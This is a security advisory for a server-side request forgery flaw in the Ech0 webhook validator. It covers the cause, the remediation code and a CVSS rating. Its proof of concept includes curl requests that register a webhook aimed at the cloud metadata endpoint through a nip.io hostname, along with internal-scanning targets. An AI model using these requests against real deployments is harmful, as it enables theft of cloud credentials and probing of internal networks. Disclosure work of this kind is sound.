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Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation — github.com/lin-snow/ech0

Server-Side Request Forgery (SSRF)

Summary

The validateWebhookURL function in webhook_setting_service.go attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via net.ParseIP(). Hostnames that DNS-resolve to private IPs (e.g., 169.254.169.254.nip.io, 10.0.0.1.nip.io) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.

Details

The vulnerability is in validateWebhookURL (internal/service/setting/webhook_setting_service.go:180-199):

func validateWebhookURL(rawURL string) error { parsed, err := url.Parse(rawURL) // ... host := strings.ToLower(parsed.Hostname()) if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") { return errors.New(commonModel.INVALID_WEBHOOK_URL) } if ip := net.ParseIP(host); ip != nil { // <-- returns nil for hostnames if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() || ip.IsLinkLocalUnicast() || ip.IsUnspecified() { return errors.New(commonModel.INVALID_WEBHOOK_URL) } } return nil // hostname passes all checks unchecked }

net.ParseIP("169.254.169.254.nip.io") returns nil because it is not a literal IP address. The entire private IP check block is skipped, and the function returns nil (valid).

Both HTTP clients that execute webhook requests use standard http.Client / http.Transport with no custom DialContext to verify resolved IPs:

  • TestWebhook (webhook_setting_service.go:169): &http.Client{Timeout: 5 * time.Second}
  • Dispatcher (dispatcher.go:51-58): &http.Client{...Transport: &http.Transport{...}} — no custom dialer

The Dispatcher.HandleObservation (dispatcher.go:67-81) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.

Execution flow:

  1. Admin calls POST /api/webhook with URL http://169.254.169.254.nip.io/latest/meta-data/
  2. CreateWebhookvalidateWebhookURLnet.ParseIP returns nil → passes validation
  3. Webhook stored in database with is_active: true
  4. On any echo event → Dispatcher.HandleObservationDispatchSendWithRetry → DNS resolves 169.254.169.254.nip.io to 169.254.169.254 → POST to cloud metadata endpoint

PoC

# Step 1: Create a webhook targeting cloud metadata via DNS rebinding curl -X POST http://localhost:8080/api/webhook \ -H 'Authorization: Bearer <admin-jwt>' \ -H 'Content-Type: application/json' \ -d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}' # Step 2: Trigger SSRF via test endpoint curl -X POST http://localhost:8080/api/webhook/<webhook-id>/test \ -H 'Authorization: Bearer <admin-jwt>' # The server makes an HTTP POST to 169.254.169.254 (AWS metadata). # net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks. # Delivery status and error messages reveal connectivity information. # For internal network scanning: # http://10.0.0.1.nip.io:8080/ # http://127.0.0.1.nip.io:6379/ # With is_active:true, every application event automatically dispatches # to the SSRF target via Dispatcher.HandleObservation (no re-validation).

Impact

  • Cloud metadata access: An admin can reach cloud instance metadata endpoints (AWS 169.254.169.254, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data.
  • Internal network probing: Webhooks can scan internal services by observing delivery status (success/failed) and error messages, mapping internal network topology.
  • Persistent SSRF: Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction.
  • Scope escalation: Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this.

Replace the hostname-only check with a custom net.Dialer that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:

import "net" func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) { host, port, err := net.SplitHostPort(addr) if err != nil { return nil, err } ips, err := net.DefaultResolver.LookupIPAddr(ctx, host) if err != nil { return nil, err } for _, ip := range ips { if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() || ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() { return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP) } } dialer := &net.Dialer{Timeout: 5 * time.Second} return dialer.DialContext(ctx, network, addr) } // Use in both TestWebhook and Dispatcher: client := &http.Client{ Timeout: 5 * time.Second, Transport: &http.Transport{ DialContext: safeDialContext, }, }

This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.

  • Published: Apr 10, 2026
  • Updated: Apr 11, 2026
  • GHSA: GHSA-r2x7-427f-rq69
  • Severity: Medium
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Medium
  • Score: 5.5
  • AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

CWEs:

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